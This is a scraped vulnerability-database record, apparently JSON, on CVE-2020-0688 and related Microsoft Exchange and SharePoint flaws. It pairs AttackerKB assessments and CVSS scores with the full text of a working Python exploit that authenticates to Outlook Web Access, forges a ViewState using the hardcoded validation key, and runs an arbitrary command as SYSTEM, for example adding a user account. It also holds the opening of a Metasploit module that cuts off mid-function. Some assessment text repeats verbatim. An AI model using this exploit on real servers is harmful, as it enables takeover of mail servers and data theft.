CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\n**jbarto** at February 28, 2020 4:51pm UTC reported:\n\nThis is a serialization bug in the Exchange Control Panel component of the Microsoft Exchange server. The [write up](<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>) by ZDI outlines an exploitation path in grate detail how the vulnerability would be leveraged to gain command execution as `NT_AUTHORITY\\SYSTEM` on the server.\n\nThe root of the issue is that the `validationKey` is not randomized at installation time, resulting in Exchange servers using an attacker known value. This value can be used to submit crafted data to the server that passes validation checks and is ultimately deserialized which can result in code execution.\n\nThe important values from the write up are:\n \n \n validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF\n validationalg = SHA1\n \n\nI anticipate that the largest barrier to developing a PoC for this will be setting up and configuring a target environment. Exploiting this vulnerability requires authenticating as a user. The user must be a member of the `Domain Users` group and have a configured mailbox in Exchange.\n\nThe ViewState must be transferred within a GET request, POST can not be used. This introduces size restrictions on the OS command that can be executed.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-11T00:00:00", "type": "attackerkb", "title": "CVE-2020-0688 - Exchange Control Panel Viewstate Deserialization Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-07-27T00:00:00", "id": "AKB:B8A2FA01-8796-4335-8BF4-45147E14AFC9", "href": "https://attackerkb.com/topics/XbYcn2Mckk/cve-2020-0688---exchange-control-panel-viewstate-deserialization-bug", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-08-02T17:28:31", "description": "A remote code execution vulnerability exists in Microsoft Exchange server due to improper validation of cmdlet arguments. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the System user, aka \u2018Microsoft Exchange Server Remote Code Execution Vulnerability\u2019. **Note:** As of January 12, 2021, the patch for CVE-2020-16875 has been bypassed twice. See [CVE-2020-17132](<https://attackerkb.com/topics/sfBIO5A6Cl/cve-2020-17132#rapid7-analysis>) for details.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at September 09, 2020 6:14pm UTC reported:\n\nThere\u2019s more info in Rapid7\u2019s analysis [here](<https://attackerkb.com/topics/Y2azzfAbid/cve-2020-16875?#rapid7-analysis>), but as **@tsellers-r7** and **@smcintyre-r7** pointed out privately today, need for authenticated session + exposed PowerShell endpoint + user who belongs to specific Exchange groups = less opportunity for wide-scale attacks than something like February\u2019s Exchange vuln. I\u2019m interested to see how [Steven Seeley\u2019s exploit](<https://twitter.com/steventseeley/status/1303454166820556800>) works if he releases it, though. Might be cause for quick re-evaluation.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.1, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2020-09-11T00:00:00", "type": "attackerkb", "title": "CVE-2020-16875", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-16875", "CVE-2020-168750", "CVE-2020-17132"], "modified": "2021-01-15T00:00:00", "id": "AKB:90047E82-FDD8-47DB-9552-50D104A34230", "href": "https://attackerkb.com/topics/Y2azzfAbid/cve-2020-16875", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-10-04T22:45:06", "description": "A remote code execution vulnerability exists in Microsoft SharePoint when the software fails to check the source markup of an application package, aka \u2018Microsoft SharePoint Remote Code Execution Vulnerability\u2019. This CVE ID is unique from CVE-2020-16951.\n\n \n**Recent assessments:** \n \n**wvu-r7** at October 13, 2020 7:56pm UTC reported:\n\nPlease see the [Rapid7 analysis](<https://attackerkb.com/topics/4yGC4tLK2x/cve-2020-16952#rapid7-analysis>). A [Metasploit module](<https://github.com/rapid7/metasploit-framework/pull/14265>) will be released.\n\n**ccondon-r7** at October 16, 2020 7:04pm UTC reported:\n\nPlease see the [Rapid7 analysis](<https://attackerkb.com/topics/4yGC4tLK2x/cve-2020-16952#rapid7-analysis>). A [Metasploit module](<https://github.com/rapid7/metasploit-framework/pull/14265>) will be released.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-10-16T00:00:00", "type": "attackerkb", "title": "CVE-2020-16952 \u2014 Microsoft SharePoint Remote Code Execution Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-16898", "CVE-2020-16951", "CVE-2020-16952"], "modified": "2020-10-22T00:00:00", "id": "AKB:E6BD4207-BAC0-40E1-A4C8-92B6D3D58D4B", "href": "https://attackerkb.com/topics/4yGC4tLK2x/cve-2020-16952-microsoft-sharepoint-remote-code-execution-vulnerabilities/rapid7-analysis", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-10-22T16:51:11", "description": "Microsoft Exchange Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-1730.\n\n \n**Recent assessments:** \n \n**bwatters-r7** at March 03, 2021 1:51pm UTC reported:\n\nThis attack is super useful to gain privileged access to an Exchange server. Given the ubiquity of the target, it\u2019s remote nature, the presence of a simple python PoC, and the benefits from gaining privileged access to a mail server, hackers will be reaching for this exploit frequently, even if it does require authentication. \nFurther complicating matters is that the requests themselves are through https, so standard deployment for NIDS likely will not catch the attack. If you\u2019ve added certificates to your NIDS to decrypt traffic, then it might catch the attack, but that scenario is not particularly common, especially in small to midsize organizations. \nPatching is the primary method for mitigating this attack, though the logs left afterward (if they are not destroyed) are straightforward and reviewed in the technical analysis here: <https://attackerkb.com/topics/taeSMPFD8J/cve-2021-24085?#rapid7-analysis>\n\n**NinjaOperator** at June 23, 2021 11:46pm UTC reported:\n\nThis attack is super useful to gain privileged access to an Exchange server. Given the ubiquity of the target, it\u2019s remote nature, the presence of a simple python PoC, and the benefits from gaining privileged access to a mail server, hackers will be reaching for this exploit frequently, even if it does require authentication. \nFurther complicating matters is that the requests themselves are through https, so standard deployment for NIDS likely will not catch the attack. If you\u2019ve added certificates to your NIDS to decrypt traffic, then it might catch the attack, but that scenario is not particularly common, especially in small to midsize organizations. \nPatching is the primary method for mitigating this attack, though the logs left afterward (if they are not destroyed) are straightforward and reviewed in the technical analysis here: <https://attackerkb.com/topics/taeSMPFD8J/cve-2021-24085?#rapid7-analysis>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-25T00:00:00", "type": "attackerkb", "title": "CVE-2021-24085", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-16875", "CVE-2020-24085", "CVE-2021-1730", "CVE-2021-24085"], "modified": "2021-03-05T00:00:00", "id": "AKB:ED05D93E-5B20-4B44-BAC8-C4CB5B46254A", "href": "https://attackerkb.com/topics/taeSMPFD8J/cve-2021-24085/rapid7-analysis", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-10-04T22:44:18", "description": "Aka \u2018Microsoft Exchange Remote Code Execution Vulnerability\u2019. This CVE ID is unique from CVE-2020-17117, CVE-2020-17141, CVE-2020-17142, CVE-2020-17144.\n\n \n**Recent assessments:** \n \n**zeroSteiner** at January 12, 2021 7:07pm UTC reported:\n\nThis is vulnerability is a bypass for the patch issued for [CVE-2020-16875](<https://attackerkb.com/topics/Y2azzfAbid/cve-2020-16875>). The vulnerability was also identified and analyzed by Steven Seeley. The patch can be bypassed using call operators as described in Seeley\u2019s blog [Making Clouds Rain RCE in Office 365](<https://srcincite.io/blog/2021/01/12/making-clouds-rain-rce-in-office-365.html>).\n\nThe original vulnerability is a command injection vulnerability that results in OS commands being executed with SYSTEM level privileges on the Exchange server due to insufficient sanitization on a cmdlet invocation.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "cvss3": {"exploitabilityScore": 2.3, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.1, "privilegesRequired": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2020-12-10T00:00:00", "type": "attackerkb", "title": "CVE-2020-17132", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688", "CVE-2020-16875", "CVE-2020-17117", "CVE-2020-17132", "CVE-2020-17141", "CVE-2020-17142", "CVE-2020-17144"], "modified": "2021-01-15T00:00:00", "id": "AKB:67DD67D3-33BC-455C-98A3-7DD0E1D4613D", "href": "https://attackerkb.com/topics/sfBIO5A6Cl/cve-2020-17132/rapid7-analysis", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}], "packetstorm": [{"lastseen": "2020-03-04T15:06:30", "description": "", "cvss3": {}, "published": "2020-03-02T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange 2019 15.2.221.12 Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-02T00:00:00", "id": "PACKETSTORM:156592", "href": "https://packetstormsecurity.com/files/156592/Microsoft-Exchange-2019-15.2.221.12-Remote-Code-Execution.html", "sourceData": "`# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution \n# Date: 2020-02-28 \n# Exploit Author: Photubias \n# Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688 \n# [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys \n# Vendor Homepage: https://www.microsoft.com \n# Version: MS Exchange Server 2010 SP3 up to 2019 CU4 \n# Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019 \n# CVE: CVE-2020-0688 \n \n#! /usr/bin/env python \n# -*- coding: utf-8 -*- \n''' \n \n \nCopyright 2020 Photubias(c) \n \nThis program is free software: you can redistribute it and/or modify \nit under the terms of the GNU General Public License as published by \nthe Free Software Foundation, either version 3 of the License, or \n(at your option) any later version. \n \nThis program is distributed in the hope that it will be useful, \nbut WITHOUT ANY WARRANTY; without even the implied warranty of \nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the \nGNU General Public License for more details. \n \nYou should have received a copy of the GNU General Public License \nalong with this program. If not, see <http://www.gnu.org/licenses/>. \n \nFile name CVE-2020-0688-Photubias.py \nwritten by tijl[dot]deneut[at]howest[dot]be for www.ic4.be \n \nThis is a native implementation without requirements, written in Python 2. \nWorks equally well on Windows as Linux (as MacOS, probably ;-) \nReverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net \n \nExample Output: \nCVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c \"net user pwned pwned /add\" \n[+] Login worked \n[+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570 \n[+] Detected OWA version number 15.2.221.12 \n[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable! \n[+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]: \n[+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g== \nSending now ... \n''' \nimport urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass \n \n## STATIC STRINGS \n# This string acts as a template for the serialization (contains \"###payload###\" to be replaced and TWO size locations) \nstrSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=') \n# This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability) \nstrSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF') \n \ndef convertInt(iInput, length): \nreturn struct.pack(\"<I\" , int(iInput)).encode('hex')[:length] \n \ndef getYsoserialPayload(sCommand, sSessionId): \n## PART1 of the payload to hash \nstrPart1 = strSerTemplate.replace('###payload###', sCommand) \n## Fix the length fields \n#print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand)) \n#print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand)) \nstrLength1 = convertInt(0x06b8 + len(sCommand),4) \nstrLength2 = convertInt(0x04da + len(sCommand),4) \nstrPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:] \nstrPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:] \n \n## PART2 of the payload to hash \nstrPart2 = '274e7bb9' \nfor v in sSessionId: strPart2 += binascii.hexlify(v)+'00' \nstrPart2 = binascii.unhexlify(strPart2) \n \nstrMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest() \nstrResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac)) \nreturn strResult \n \ndef verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar): \nif not sTarget[-1:] == '/': sTarget += '/' \n## Verify Login \nlPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'} \ntry: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read() \nexcept: print('[!] Error, ' + sTarget + ' not reachable') \nbLoggedIn = False \nfor cookie in oCookjar: \nif cookie.name == 'cadata': bLoggedIn = True \nif not bLoggedIn: \nprint('[-] Login Wrong, too bad') \nexit(1) \nprint('[+] Login worked') \n \n## Verify Session ID \nsSessionId = '' \nsResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read() \nfor cookie in oCookjar: \nif 'SessionId' in cookie.name: sSessionId = cookie.value \nprint('[+] Got ASP.NET Session ID: ' + sSessionId) \n \n## Verify OWA Version \nsVersion = '' \ntry: sVersion = sResult.split('stylesheet')[0].split('href=\"')[1].split('/')[2] \nexcept: sVersion = 'favicon' \nif 'favicon' in sVersion: \nprint('[*] Problem, this user has never logged in before (wizard detected)') \nprint(' Please log in manually first at ' + sTarget + 'ecp/default.aspx') \nexit(1) \nprint('[+] Detected OWA version number '+sVersion) \n \n## Verify ViewStateValue \nsViewState = '' \ntry: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value=\"')[1].split('\"')[0] \nexcept: pass \nif sViewState == 'B97B4E27': \nprint('[+] Vulnerable View State \"B97B4E27\" detected, this host is vulnerable!') \nelse: \nprint('[-] Error, viewstate wrong or not correctly parsed: '+sViewState) \nans = raw_input('[?] Still want to try the exploit? [y/N]: ') \nif ans == '' or ans.lower() == 'n': exit(1) \nreturn sSessionId, sTarget, sViewState \n \ndef main(): \nparser = argparse.ArgumentParser() \nparser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='') \nparser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='') \nparser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='') \nparser.add_argument('-c', '--command', help='Command to put behind \"cmd /c \" (e.g. net user pwned pwned /add)', default='') \nargs = parser.parse_args() \nif args.target == '' or args.username == '' or args.command == '': \nprint('[!] Example usage: ') \nprint(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c \"net user pwned pwned /add\"') \nelse: \nif args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ') \nelse: sPassword = args.password \nctx = ssl.create_default_context() \nctx.check_hostname = False \nctx.verify_mode = ssl.CERT_NONE \noCookjar = cookielib.CookieJar() \n#oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}) \n#oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy) \noOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar)) \nsSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar) \nans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ') \nif ans.lower() == 'n': exit(0) \nsPayLoad = getYsoserialPayload(args.command, sSessionId) \nprint('[+] Got Payload: ' + sPayLoad) \nsURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad) \nprint(' Sending now ...') \ntry: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'})) \nexcept urllib2.HTTPError, e: \nif e.code == '500': print('[+] This probably worked (Error Code 500 received)') \n \nif __name__ == \"__main__\": \nmain() \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/156592/msexchange2019-exec.txt", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-03-05T07:12:27", "description": "", "cvss3": {}, "published": "2020-03-04T00:00:00", "type": "packetstorm", "title": "Exchange Control Panel Viewstate Deserialization", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-03-04T00:00:00", "id": "PACKETSTORM:156620", "href": "https://packetstormsecurity.com/files/156620/Exchange-Control-Panel-Viewstate-Deserialization.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nrequire 'bindata' \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \n# include Msf::Auxiliary::Report \ninclude Msf::Exploit::Remote::HttpClient \ninclude Msf::Exploit::CmdStager \n \nDEFAULT_VIEWSTATE_GENERATOR = 'B97B4E27' \nVALIDATION_KEY = \"\\xcb\\x27\\x21\\xab\\xda\\xf8\\xe9\\xdc\\x51\\x6d\\x62\\x1d\\x8b\\x8b\\xf1\\x3a\\x2c\\x9e\\x86\\x89\\xa2\\x53\\x03\\xbf\" \n \ndef initialize(info = {}) \nsuper(update_info(info, \n'Name' => 'Exchange Control Panel Viewstate Deserialization', \n'Description' => %q{ \nThis module exploits a .NET serialization vulnerability in the \nExchange Control Panel (ECP) web page. The vulnerability is due to \nMicrosoft Exchange Server not randomizing the keys on a \nper-installation basis resulting in them using the same validationKey \nand decryptionKey values. With knowledge of these, values an attacker \ncan craft a special viewstate to cause an OS command to be executed \nby NT_AUTHORITY\\SYSTEM using .NET deserialization. \n}, \n'Author' => 'Spencer McIntyre', \n'License' => MSF_LICENSE, \n'References' => [ \n['CVE', '2020-0688'], \n['URL', 'https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys'], \n], \n'Platform' => 'win', \n'Targets' => \n[ \n[ 'Windows (x86)', { 'Arch' => ARCH_X86 } ], \n[ 'Windows (x64)', { 'Arch' => ARCH_X64 } ], \n[ 'Windows (cmd)', { 'Arch' => ARCH_CMD, 'Space' => 450 } ] \n], \n'DefaultOptions' => \n{ \n'SSL' => true \n}, \n'DefaultTarget' => 1, \n'DisclosureDate' => '2020-02-11', \n'Notes' => \n{ \n'Stability' => [ CRASH_SAFE, ], \n'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], \n'Reliability' => [ REPEATABLE_SESSION, ], \n} \n)) \n \nregister_options([ \nOpt::RPORT(443), \nOptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]), \nOptString.new('USERNAME', [ true, 'Username to authenticate as', '' ]), \nOptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) \n]) \n \nregister_advanced_options([ \nOptFloat.new('CMDSTAGER::DELAY', [ true, 'Delay between command executions', 0.5 ]), \n]) \nend \n \ndef check \nstate = get_request_setup \nviewstate = state[:viewstate] \nreturn CheckCode::Unknown if viewstate.nil? \n \nviewstate = Rex::Text.decode_base64(viewstate) \nbody = viewstate[0...-20] \nsignature = viewstate[-20..-1] \n \nunless generate_viewstate_signature(state[:viewstate_generator], state[:session_id], body) == signature \nreturn CheckCode::Safe \nend \n \n# we've validated the signature matches based on the data we have and thus \n# proven that we are capable of signing a viewstate ourselves \nCheckCode::Vulnerable \nend \n \ndef generate_viewstate(generator, session_id, cmd) \nviewstate = ::Msf::Util::DotNetDeserialization.generate(cmd) \nsignature = generate_viewstate_signature(generator, session_id, viewstate) \nRex::Text.encode_base64(viewstate + signature) \nend \n \ndef generate_viewstate_signature(generator, session_id, viewstate) \nmac_key_bytes = Rex::Text.hex_to_raw(generator).unpack('I<').pack('I>') 